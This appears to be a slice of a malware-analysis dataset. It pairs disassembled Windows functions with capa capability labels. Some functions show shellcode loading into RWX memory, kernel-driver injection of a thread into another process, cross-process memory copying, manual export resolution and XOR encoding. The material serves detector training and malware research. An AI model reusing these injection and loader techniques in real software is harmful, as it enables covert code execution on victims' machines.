joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140075a0b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Query environment variable

Disassembly:
push rsi
push rdi
sub rsp, 0x878
lea rax, [rsp + 0x30]
lea rcx, str.USERPROFILE
mov rdi, rax
mov rsi, rcx
mov ecx, reloc.OLEAUT32.dll_SafeArrayGetElement
rep movsb byte [rdi], byte [rsi]
lea rax, [rsp + 0x48]
lea rcx, str.C:Usershacker
mov rdi, rax
mov rsi, rcx
mov ecx, 0x20
rep movsb byte [rdi], byte [rsi]
mov r8d, 0x400
lea rdx, [rsp + 0x70]
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov dword [rsp + 0x24], eax
cmp dword [rsp + 0x24], 0
jne 0x140075a6e
mov eax, 6
jmp 0x140075ae9
lea rdx, [rsp + 0x48]
lea rcx, [rsp + 0x70]
call fcn.14007599e
test eax, eax
je 0x140075a88
mov eax, 6
jmp 0x140075ae9
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x31446
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0
jmp 0x140075aba
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 0x31446
jge 0x140075ae3
movsxd rax, dword [rsp + 0x20]
movsxd rcx, dword [rsp + 0x20]
mov rdx, qword [rsp + 0x28]
lea rdi, [0x140075af3]
movzx eax, byte [rdi + rax]
mov byte [rdx + rcx], al
jmp 0x140075ab0
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0x878
pop rdi
pop rsi
ret

Function at 0x14007affb
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r12
push r13
push r14
push r15
sub rsp, 0x40
mov r13, rdx
mov rdi, rcx
xor ebx, ebx
test rcx, rcx
jne 0x14007b02c
xor eax, eax
jmp 0x14007b0cb
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x30], rbx
movsxd rax, dword [rcx + 0x3c]
mov ecx, dword [rax + rcx + 0x88]
add rcx, rdi
mov r12d, dword [rcx + 0x1c]
add r12, rdi
mov r15d, dword [rcx + 0x20]
add r15, rdi
mov qword [rsp + 0x28], r15
mov r14d, dword [rcx + 0x24]
add r14, rdi
mov qword [rsp + 0x30], r14
test rdx, 0xffffffffffff0000
jne 0x14007b074
movzx eax, dx
sub eax, dword [rcx + 0x10]
jmp 0x14007b09d
mov esi, dword [rcx + 0x18]
mov dword [rsp + 0x20], esi
mov eax, esi
dec esi
mov dword [rsp + 0x20], esi
test eax, eax
je 0x14007b0bf
mov ecx, dword [r15]
add rcx, rdi
mov rdx, r13
call fcn.140089cf3
test eax, eax
jne 0x14007b0ab
movzx eax, word [r14]
mov ebx, dword [r12 + rax*4]
add rbx, rdi
mov qword [rsp + 0x38], rbx
jmp 0x14007b0bf
add r15, 4
mov qword [rsp + 0x28], r15
add r14, 2
mov qword [rsp + 0x30], r14
jmp 0x14007b07b
jmp 0x14007b0c8
mov rax, rbx
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x70]
mov r12, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
ret

Function at 0x14007b79b
Capabilities:
Encode data using xor

Disassembly:
xor r9d, r9d
test r8d, r8d
je 0x14007b7bc
mov r10d, r8d
mov rax, r9
inc r9
and eax, 3
mov al, byte [rax + rcx]
xor byte [rdx], al
inc rdx
dec r10
jne 0x14007b7a6
ret
Function at 0x140090390
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov ebx, ecx
xor r13d, r13d
and dword [rsp + 0x68], r13d
xor edi, edi
mov dword [rsp + 0x60], edi
xor esi, esi
mov edx, ecx
sub edx, 2
je 0x140090483
sub edx, 2
je 0x140090426
sub edx, 2
je 0x140090416
sub edx, 2
je 0x140090426
sub edx, 3
je 0x140090426
sub edx, 4
je 0x140090406
sub edx, 6
je 0x1400903f3
dec edx
je 0x140090416
call fcn.14008ad13
mov dword [rax], SafeArrayPutElement
call fcn.14008bae3
jmp 0x140090433
lea r14, [0x1400a908b]
mov rcx, qword [0x1400a908b]
jmp 0x140090491
lea r14, [0x1400a909b]
mov rcx, qword [0x1400a909b]
jmp 0x140090491
lea r14, [0x1400a9093]
mov rcx, qword [0x1400a9093]
jmp 0x140090491
call fcn.14008ca33
mov rsi, rax
test rax, rax
jne 0x14009043b
or eax, 0xffffffff
jmp 0x1400905a6
mov rdx, qword [rax + 0xa0]
mov rcx, rdx
movsxd r8, dword [0x14009a0f3]
cmp dword [rcx + 4], ebx
je 0x140090464
add rcx, 0x10
mov rax, r8
shl rax, 4
add rax, rdx
cmp rcx, rax
jb 0x14009044c
mov rax, r8
shl rax, 4
add rax, rdx
cmp rcx, rax
jae 0x140090478
cmp dword [rcx + 4], ebx
je 0x14009047a
xor ecx, ecx
lea r14, [rcx + 8]
mov r15, qword [r14]
jmp 0x1400904a3
lea r14, [0x1400a9083]
mov rcx, qword [0x1400a9083]
mov edi, 1
mov dword [rsp + 0x60], edi
call qword [0x14009833b]
mov r15, rax
cmp r15, 1
jne 0x1400904b0
xor eax, eax
jmp 0x1400905a6
test r15, r15
jne 0x1400904bf
lea ecx, [r15 + 3]
call fcn.14008b05f
int3
test edi, edi
je 0x1400904cb
xor ecx, ecx
call fcn.14008ffa3
nop
mov r12d, 0x910
cmp ebx, 0xb
ja 0x140090509
bt r12d, ebx
jae 0x140090509
mov r13, qword [rsi + 0xa8]
mov qword [rsp + 0x28], r13
and qword [rsi + 0xa8], 0
cmp ebx, 8
jne 0x140090547
mov eax, dword [rsi + 0xb0]
mov dword [rsp + 0x68], eax
mov dword [rsi + 0xb0], 0x8c
cmp ebx, 8
jne 0x140090547
mov ecx, dword [0x14009a0fb]
mov edx, ecx
mov dword [rsp + 0x20], ecx
mov eax, dword [0x14009a0ff]
add ecx, eax
cmp edx, ecx
jge 0x140090552
movsxd rcx, edx
add rcx, rcx
mov rax, qword [rsi + 0xa0]
and qword [rax + rcx*8 + 8], 0
inc edx
mov dword [rsp + 0x20], edx
mov ecx, dword [0x14009a0fb]
jmp 0x14009051a
xor ecx, ecx
call qword [fcn.140098333]
mov qword [r14], rax
test edi, edi
je 0x14009055d
xor ecx, ecx
call fcn.140090193
cmp ebx, 8
jne 0x14009056f
mov edx, dword [rsi + 0xb0]
mov ecx, ebx
call r15
jmp 0x140090574
mov ecx, ebx
call r15
cmp ebx, 0xb
ja 0x1400904a9
bt r12d, ebx
jae 0x1400904a9
mov qword [rsi + 0xa8], r13
cmp ebx, 8
jne 0x1400904a9
mov eax, dword [rsp + 0x68]
mov dword [rsi + 0xb0], eax
jmp 0x1400904a9
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x140094880
Capabilities:
Terminate process

Disassembly:
add byte [rax], al
add ch, cl
sub dword [rcx - 0x48], eax
add dword [rax], eax
add byte [rax], al
Function at 0x1400ac000
Capabilities:
Terminate thread

Disassembly:
push rbx
sub rsp, 0x50
lea rax, [rsp + 0x68]
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x38], edx
lea r9, [rsp + 0x30]
mov qword [rsp + 0x40], r8
xor edx, edx
mov qword [rsp + 0x28], rax
lea r8, [0x1400a89d0]
xor ecx, ecx
mov dword [rsp + 0x20], 0
call fcn.1400f7ce8
mov edx, 0x1388
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
cmp eax, 0x102
jne 0x1400ac075
mov edx, 1
call qword [sym.imp.KERNEL32.dll_TerminateThread]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0x20
add rsp, 0x50
pop rbx
ret
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [rsp + 0x48]
add rsp, 0x50
pop rbx
ret
Function at 0x1400e20dc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400e2126
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400e2126
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400e2126
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400e2126
cmp dword [rcx + 0x84], 0xe
jbe 0x1400e2126
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400e2128
xor al, al
add rsp, 0x28
ret

Function at 0x1400f7ce8
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x30
xor edi, edi
mov esi, edx
mov rbp, rcx
test r8, r8
jne 0x1400f7d1f
call fcn.1400e864c
mov dword [rax], SafeArrayPutElement
call fcn.1400e8140
xor eax, eax
jmp 0x1400f7dad
mov rdx, r9
mov rcx, r8
call fcn.1400f7bbc
mov rbx, rax
test rax, rax
je 0x1400f7daa
lea rax, [rsp + 0x50]
mov rdx, rsi
mov qword [rsp + 0x28], rax
lea r8, [0x1400f7a78]
mov eax, dword [rsp + 0x60]
mov r9, rbx
mov rcx, rbp
mov dword [rsp + 0x20], eax
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1400f7d97
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.1400e85c0
mov rcx, qword [rbx + 0x10]
test rcx, rcx
je 0x1400f7d7e
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x18]
test rcx, rcx
je 0x1400f7d8d
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, rbx
call fcn.140103f68
jmp 0x1400f7daa
mov rcx, qword [rsp + 0x68]
test rcx, rcx
je 0x1400f7da7
mov eax, dword [rsp + 0x50]
mov dword [rcx], eax
mov rdi, rdx
mov rax, rdi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x58]
add rsp, 0x30
pop rdi
ret

Function at 0x1400fc45c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x1400fc2c7
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400fc2c7
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400fc2c7
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x1400fc2c7
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400fc2c7
cmp dword [rcx + 0x84], 0xe
jbe 0x1400fc2c7
cmp dword [rcx + 0xf8], 0
je 0x1400fc2c7
mov ecx, ebx
call fcn.1400fc378
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.1400fc154
nop
cmp dword [rbp + 0x20], 0
je 0x1400fc315
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.1400fc320
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400fc258
Function at 0x140003e2c
Capabilities:
Create device object
Print debug messages

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
lea rbp, [rcx + 0x10]
mov rdi, rcx
mov rcx, rbp
lea rdx, [0x14000d8d0]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rcx, qword [rdi]
lea rsi, [rdi + 8]
mov qword [rsp + 0x30], rsi
mov r9d, 0x22
mov byte [rsp + 0x28], 0
mov r8, rbp
and dword [rsp + 0x20], 0
xor edx, edx
call qword [sym.imp.ntoskrnl.exe_IoCreateDevice]
mov ebx, eax
test eax, eax
jns 0x140003e94
lea rcx, [0x14000d900]
call fcn.14000c327
mov eax, ebx
jmp 0x140003f08
mov rax, qword [rsi]
lea rdx, [0x14000d920]
lea rcx, [rdi + 0x20]
or dword [rax + 0x30], 4
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
mov rdx, rbp
lea rcx, [rdi + 0x20]
call qword [sym.imp.ntoskrnl.exe_IoCreateSymbolicLink]
mov ebx, eax
test eax, eax
jns 0x140003ed1
mov rcx, qword [rsi]
call qword [sym.imp.ntoskrnl.exe_IoDeleteDevice]
lea rcx, [0x14000d940]
jmp 0x140003e8b
mov rax, qword [rdi]
lea rcx, [0x140003f60]
mov qword [rax + 0x70], rcx
lea rcx, [0x140003010]
mov rax, qword [rdi]
mov qword [rax + 0xe0], rcx
lea rcx, [rdi + 0x90]
call fcn.1400082f8
mov rax, qword [rdi]
mov qword [rdi + 0x88], rax
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x140004a30
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x3b8]
sub rsp, 0x4a0
mov rax, qword [0x140012450]
xor rax, rsp
mov qword [rbp + 0x390], rax
mov r15, rcx
mov edi, 0x130
mov r8d, edi
lea rcx, [rbp + 0x260]
xor edx, edx
call fcn.14000d740
xor ebx, ebx
lea r9, [rsp + 0x20]
mov r8d, edi
mov dword [rsp + 0x20], ebx
lea rdx, [rbp + 0x260]
lea ecx, [rbx + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x140004bcf
mov esi, dword [rsp + 0x20]
lea ecx, [rbx + 1]
add esi, edi
mov edx, esi
mov r14d, esi
call qword [sym.imp.ntoskrnl.exe_ExAllocatePool]
mov rdi, rax
test rax, rax
je 0x140004bcf
mov r8d, r14d
xor edx, edx
mov rcx, rax
call fcn.14000d740
lea r9, [rsp + 0x20]
mov r8d, esi
mov rdx, rdi
lea ecx, [rbx + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x140004bc0
cmp dword [rdi], ebx
jbe 0x140004bbe
mov r14d, 0x80
mov eax, ebx
lea rsi, [rdi + 8]
imul rcx, rax, 0x128
xor edx, edx
mov r8d, 0x328
add rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.14000d740
mov rax, qword [rsi + 0x10]
lea rcx, [rbp + 0x150]
mov qword [rsp + 0x30], rax
mov edx, 2
mov eax, dword [rsi + 0x18]
mov qword [rsp + 0x38], rax
lea rax, [rsi + 0x28]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x70]
add rax, r14
movups xmmword [rcx + 0x60], xmm0
add rcx, r14
movups xmmword [rcx - 0x10], xmm1
sub rdx, 1
jne 0x140004b3f
movzx eax, word [rsi + 0x26]
lea rcx, [rsp + 0x48]
mov r8d, pe_nt_image_headers64
sub r8, rax
lea rdx, [rax + 0x28]
add rdx, rsi
call fcn.14000d400
lea rdx, [rsp + 0x30]
mov rcx, r15
call fcn.1400046a4
inc ebx
cmp ebx, dword [rdi]
jb 0x140004afc
mov bl, 1
xor edx, edx
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov al, bl
jmp 0x140004bd1
xor al, al
mov rcx, qword [rbp + 0x390]
xor rcx, rsp
call fcn.14000c300
lea r11, [rsp + 0x4a0]
mov rbx, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x30]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x140006a0c
Capabilities:
Parse pe header

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x20
mov eax, 0x5a4d
mov r14, r8
mov r15, rdx
mov rdi, rcx
cmp word [rcx], ax
jne 0x140006aad
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
cmp dword [rbx], 0x4550
jne 0x140006aad
movzx eax, word [rbx + 0x14]
lea r12, [rbx + 0x18]
xor r13d, r13d
add r12, rax
movzx esi, r13w
cmp r13w, word [rbx + 6]
jae 0x140006aad
movzx eax, si
lea rdx, [0x14000d9a0]
lea rcx, [rax + rax*4]
lea rbp, [r12 + rcx*8]
mov rcx, rbp
call fcn.14000c190
test rax, rax
jne 0x140006a8b
cmp dword [rbp], 0x45474150
jne 0x140006aa4
mov ecx, dword [rbp + 0xc]
mov r9, r14
mov edx, dword [rbp + 8]
add rcx, rdi
mov r8, r15
call fcn.140006990
test rax, rax
jne 0x140006aaf
inc si
cmp si, word [rbx + 6]
jb 0x140006a63
xor eax, eax
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
add rsp, 0x20
pop r15
pop r14
pop r13
pop r12
pop rdi
ret

Function at 0x140006acc
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
and dword [rsp + 0x48], 0
mov rdi, rcx
cmp qword [0x140012608], 0
je 0x140006b03
test rcx, rcx
je 0x140006bee
mov eax, dword [0x140012610]
mov dword [rcx], eax
jmp 0x140006bee
lea rdx, [0x14000d980]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_RtlInitUnicodeString]
lea rcx, [rsp + 0x20]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
mov rsi, rax
test rax, rax
je 0x140006bf7
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
xor edx, edx
lea ecx, [rdx + 0xb]
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [rsp + 0x48]
test eax, eax
je 0x140006bf7
mov edx, eax
xor ecx, ecx
mov r8d, 0x454e4f45
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov r8d, dword [rsp + 0x48]
xor edx, edx
mov rcx, rax
mov rbx, rax
call fcn.14000d740
mov r8d, dword [rsp + 0x48]
lea r9, [rsp + 0x48]
mov rdx, rbx
mov ecx, 0xb
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
js 0x140006bdb
xor edx, edx
cmp dword [rbx], edx
jbe 0x140006bdb
lea rcx, [rbx + 0x20]
cmp rsi, qword [rcx - 8]
jb 0x140006ba6
mov eax, dword [rcx]
add rax, qword [rcx - 8]
cmp rsi, rax
jb 0x140006bb5
inc edx
add rcx, 0x128
cmp edx, dword [rbx]
jae 0x140006bdb
jmp 0x140006b95
mov eax, edx
imul rcx, rax, 0x128
mov rax, qword [rcx + rbx + 0x18]
mov qword [0x140012608], rax
mov eax, dword [rcx + rbx + 0x20]
mov dword [0x140012610], eax
test rdi, rdi
je 0x140006bdb
mov dword [rdi], eax
test rbx, rbx
je 0x140006bee
mov edx, 0x454e4f45
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, qword [0x140012608]
jmp 0x140006bf9
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140006c0c
Capabilities:
Get system information on windows

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x20
and dword [rax + 0x20], 0
lea r9, [rax + 0x20]
mov r14, r8
mov r15, rdx
xor r8d, r8d
lea rdx, [rax + 0x20]
mov r12, rcx
lea edi, [r8 + 0xb]
mov ecx, edi
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
mov eax, dword [rsp + 0x68]
test eax, eax
je 0x140006c8b
mov esi, 0x5574696c
mov edx, eax
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rbx, rax
test rax, rax
je 0x140006c8b
mov r8d, dword [rsp + 0x68]
xor r9d, r9d
mov rdx, rax
mov ecx, edi
call qword [sym.imp.ntoskrnl.exe_ZwQuerySystemInformation]
test eax, eax
jns 0x140006ca4
mov edx, esi
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
xor al, al
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
add rsp, 0x20
pop r15
pop r14
pop r12
pop rdi
pop rsi
ret
and qword [r15], 0
xor ebp, ebp
and dword [r14], 0
lea esi, [rbp + 1]
cmp dword [rbx], ebp
jbe 0x140006cf1
lea rdi, [rbx + 8]
movzx ecx, word [rdi + 0x26]
mov rdx, r12
add rcx, 0x28
add rcx, rdi
call fcn.14000c190
test rax, rax
jne 0x140006ce4
mov eax, dword [rbx]
add rbp, rsi
add rdi, 0x128
cmp rbp, rax
jb 0x140006cb9
jmp 0x140006cf1
mov rax, qword [rdi + 0x10]
mov qword [r15], rax
mov eax, dword [rdi + 0x18]
mov dword [r14], eax
mov edx, 0x5574696c
mov rcx, rbx
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
cmp qword [r15], 0
je 0x140006d0b
cmp dword [r14], 0
jne 0x140006d0e
xor sil, sil
mov al, sil
jmp 0x140006c8d
Function at 0x140007390
Capabilities:
Find process by pid

Disassembly:
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r14, rcx
mov rbx, qword [rcx + 0x10]
mov rsi, qword [rcx + 0x18]
mov rdi, qword [rcx + 0x20]
mov r15, qword [rcx + 0x28]
call qword [sym.imp.ntoskrnl.exe_ExGetPreviousMode]
mov r13b, al
test al, al
je 0x14000740b
lea r8, [rdi + rbx]
cmp r8, rbx
jb 0x140007401
lea rdx, [rdi + rsi]
cmp rdx, rsi
jb 0x140007401
mov rcx, qword [sym.imp.ntoskrnl.exe_MmHighestUserAddress]
cmp r8, qword [rcx]
ja 0x140007401
cmp rdx, qword [rcx]
ja 0x140007401
test r15, r15
je 0x14000740b
mov edx, 8
lea r8d, [rdx - 4]
mov rcx, r15
call qword [sym.imp.ntoskrnl.exe_ProbeForWrite]
jmp 0x14000740b
mov eax, 0xc0000005
jmp 0x1400074eb
and qword [rsp + 0x90], 0
xor ebx, ebx
mov dword [rsp + 0x80], ebx
test rdi, rdi
je 0x1400074d0
lea rdx, [rsp + 0x88]
mov rcx, qword [r14]
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
mov ebx, eax
mov dword [rsp + 0x80], eax
test eax, eax
js 0x1400074d0
mov r12, qword [r14 + 0x20]
mov rbx, qword [r14 + 0x18]
cmp byte [r14 + 0x30], 0
je 0x14000747e
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x30], rcx
mov r9, rbx
mov r8, rax
mov rdx, qword [r14 + 0x10]
mov rcx, qword [rsp + 0x88]
jmp 0x1400074a9
mov rdi, qword [r14 + 0x10]
mov rsi, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_IoGetCurrentProcess]
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x30], rcx
mov r9, rdi
mov r8, rsi
mov rdx, rbx
mov rcx, rax
mov byte [rsp + 0x28], r13b
mov qword [rsp + 0x20], r12
call qword [sym.imp.ntoskrnl.exe_MmCopyVirtualMemory]
mov ebx, eax
mov dword [rsp + 0x80], eax
mov rcx, qword [rsp + 0x88]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
test r15, r15
je 0x1400074e9
mov rax, qword [rsp + 0x90]
mov qword [r15], rax
jmp 0x1400074e9
mov eax, ebx
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret
Function at 0x140007934
Capabilities:
Allocate or change rwx memory
Attach user process memory
Create thread
Find process by pid
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x47]
sub rsp, 0xc0
mov rax, qword [0x140012450]
xor rax, rsp
mov qword [rbp + 0x3f], rax
mov rcx, rdx
mov qword [rbp - 0x19], r8
lea rdx, [rbp - 0x11]
mov rdi, r9
call qword [sym.imp.ntoskrnl.exe_PsLookupProcessByProcessId]
xor ebx, ebx
test eax, eax
js 0x140007ab2
mov rcx, qword [rbp - 0x11]
call qword [sym.imp.ntoskrnl.exe_ObfDereferenceObject]
mov rcx, qword [rbp - 0x11]
lea rdx, [rbp + 0xf]
call qword [sym.imp.ntoskrnl.exe_KeStackAttachProcess]
mov rax, qword [rbp - 0x19]
lea r9, [rbp - 9]
or rsi, 0xffffffffffffffff
mov dword [rsp + 0x28], 0x40
mov rcx, rsi
mov qword [rbp - 1], rax
xor r8d, r8d
mov qword [rbp - 0x21], rbx
lea rdx, [rbp - 0x29]
mov qword [rbp - 0x29], rbx
mov qword [rbp - 9], 0xc50
mov dword [rsp + 0x20], 0x1000
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140007aa8
mov dword [rsp + 0x28], 0x40
lea r9, [rbp - 1]
xor r8d, r8d
mov dword [rsp + 0x20], 0x1000
lea rdx, [rbp - 0x21]
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ZwAllocateVirtualMemory]
test eax, eax
js 0x140007aa8
mov rcx, qword [rbp - 0x29]
lea rdx, [0x140011800]
mov r8d, 0xc50
call fcn.14000d400
mov r8, qword [rbp - 0x19]
mov rdx, rdi
mov rcx, qword [rbp - 0x21]
call fcn.14000d400
mov qword [rsp + 0x48], rbx
lea rax, [rbp + 7]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov rax, qword [rbp - 0x21]
xor r8d, r8d
mov qword [rsp + 0x38], rax
xor edx, edx
mov rax, qword [rbp - 0x29]
mov rcx, rsi
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rbx
mov qword [rsp + 0x20], rbx
mov qword [rbp + 7], rbx
call qword [sym.imp.ntoskrnl.exe_RtlCreateUserThread]
test eax, eax
jns 0x140007a98
mov edi, 0x8000
lea r8, [rbp - 9]
mov r9d, edi
lea rdx, [rbp - 0x29]
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
mov r9d, edi
lea r8, [rbp - 0x19]
lea rdx, [rbp - 0x21]
mov rcx, rsi
call qword [sym.imp.ntoskrnl.exe_ZwFreeVirtualMemory]
jmp 0x140007a9a
mov bl, 1
lea rcx, [rbp + 0xf]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
mov al, bl
jmp 0x140007ab4
lea rcx, [rbp + 0xf]
call qword [sym.imp.ntoskrnl.exe_KeUnstackDetachProcess]
xor al, al
mov rcx, qword [rbp + 0x3f]
xor rcx, rsp
call fcn.14000c300
mov rbx, qword [rsp + 0xe0]
add rsp, 0xc0
pop rdi
pop rsi
pop rbp
ret
Function at 0x14000ca9c
Capabilities:
Check os version

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x180
mov rax, qword [0x140012450]
xor rax, rsp
mov qword [rsp + 0x170], rax
lea rax, [0x14000dc00]
mov dword [rsp + 0x38], 0x320030
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x50], 0x114
call qword [sym.imp.ntoskrnl.exe_RtlGetVersion]
test eax, eax
jns 0x14000caf4
mov ebx, 5
xor edi, edi
jmp 0x14000cafc
mov ebx, dword [rsp + 0x54]
mov edi, dword [rsp + 0x58]
lea rcx, [rsp + 0x38]
call qword [sym.imp.ntoskrnl.exe_MmGetSystemRoutineAddress]
test rax, rax
je 0x14000cb3f
xor r9d, r9d
lea rdx, [rsp + 0x30]
mov ecx, 0xe3
lea esi, [r9 + 1]
mov r8d, esi
call qword [0x14000f358]
test eax, eax
js 0x14000cb3f
movzx eax, byte [0x14001270c]
cmp byte [rsp + 0x30], 0
cmovne eax, esi
mov byte [0x14001270c], al
cmp ebx, 6
ja 0x14000cb4b
jne 0x14000cb5f
